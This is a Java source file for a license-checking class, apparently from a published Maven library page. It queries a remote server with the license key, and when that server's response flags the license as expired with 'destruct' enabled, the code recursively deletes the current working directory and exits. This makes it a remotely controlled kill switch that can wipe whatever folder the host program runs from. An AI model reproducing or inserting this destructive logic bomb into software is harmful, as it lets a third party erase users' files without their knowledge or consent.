All Downloads are FREE. Search and download functionalities are using the official Maven repository.

anlavn.net.License Maven / Gradle / Ivy

The newest version!
package anlavn.net;
// Make By Bình An || AnLaVN || KatoVN

import anlavn.file.Log;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.time.ZonedDateTime;
import java.util.PropertyResourceBundle;
import java.util.ResourceBundle;
import org.apache.commons.io.FileUtils;

/**The License class supports marks the copyright for the project.
 * @author AnLaVN - https://github.com/AnLaVN
 */
public class License {
    private static String NAME, EXPIRED, CONTACT, CONTENT, licenseInvalid, licenseExpired;
    private static boolean RUNNABLE, DESTRUCT;

    static {
        try {
            licenseInvalid = "License Invalid\n" + new String(License.class.getResource("/anlavn/net/LicenseInvalid.txt").openStream().readAllBytes());
            licenseExpired = "License Expired\n" + new String(License.class.getResource("/anlavn/net/LicenseExpired.txt").openStream().readAllBytes());
        } catch (IOException ex) {
            Log.add("License - Error when try to read template !!!\n\tError code: " + ex.toString());
        }
    }
    
    private static void notificationInvalid() {
        Log.add(licenseInvalid);
        System.exit(1);
    }
    private static void notificationExpired() {
        int index1 = licenseExpired.indexOf("["),
            index2 = licenseExpired.indexOf("/", index1),
            index3 = licenseExpired.indexOf("]", index2);
        Log.add(licenseExpired.replaceAll("\\[.*?\\]", DESTRUCT ? licenseExpired.substring(index2+1, index3) : licenseExpired.substring(index1+1, index2))
                .replaceFirst("LICENSE_NAME", NAME)
                .replaceFirst("EXPIRED_DATE", EXPIRED)
                .replaceFirst("CONTENT", CONTENT)
                .replaceAll("CONTACT", CONTACT));
        System.exit(1);
    }
    private static void destruct() throws IOException {
        FileUtils.deleteDirectory(new File(System.getProperty("user.dir")));
        notificationExpired();
    }
    
    
    /**Use this method to check the license authority. 
     * If there are enough permissions, the program will continue to execute. Otherwise stop/delete the program.
     * @param licenseKey is your license key.
     * @see License#check(java.lang.String, java.lang.String) 
     */
    public static void check(String licenseKey) {
        check(licenseKey, null);
    }
    

    /**Use this method to check the license authority.
     * If there are enough permissions, the program will continue to execute. Otherwise stop/delete the program.
     * @param licenseKey is your license key.
     * @param author is github username of the author. 
     * @see License#check(java.lang.String) 
     */
    public static void check(String licenseKey, String author) {
        try {
            if(licenseKey.isBlank()) throw new RuntimeException();
            else licenseKey = URLEncoder.encode(licenseKey.trim(), StandardCharsets.UTF_8.toString());
            String license = new DocNet("https://anlavn-api.vercel.app/api/license/check?key=" + licenseKey).readAllLine();
            ResourceBundle p = new PropertyResourceBundle(new ByteArrayInputStream(license.getBytes()));
            RUNNABLE= Boolean.parseBoolean(p.getString("license.runnable"));
            DESTRUCT= Boolean.parseBoolean(p.getString("expired.destruct"));
            EXPIRED = p.getString("expired.time");
            NAME    = p.getString("license.name");
            CONTACT = p.getString("expired.contact");
            CONTENT = p.getString("expired.content");
            if(author != null && !author.equals(p.getString("license.author"))) throw new RuntimeException();
            boolean isExpired = !RUNNABLE || ZonedDateTime.now().isAfter(ZonedDateTime.parse(EXPIRED));
            if(isExpired && DESTRUCT) destruct();
            else if(isExpired) notificationExpired();
        } catch (Exception ex) {
            notificationInvalid();
        }
    }
    
}




© 2015 - 2024 Weber Informatics LLC | Privacy Policy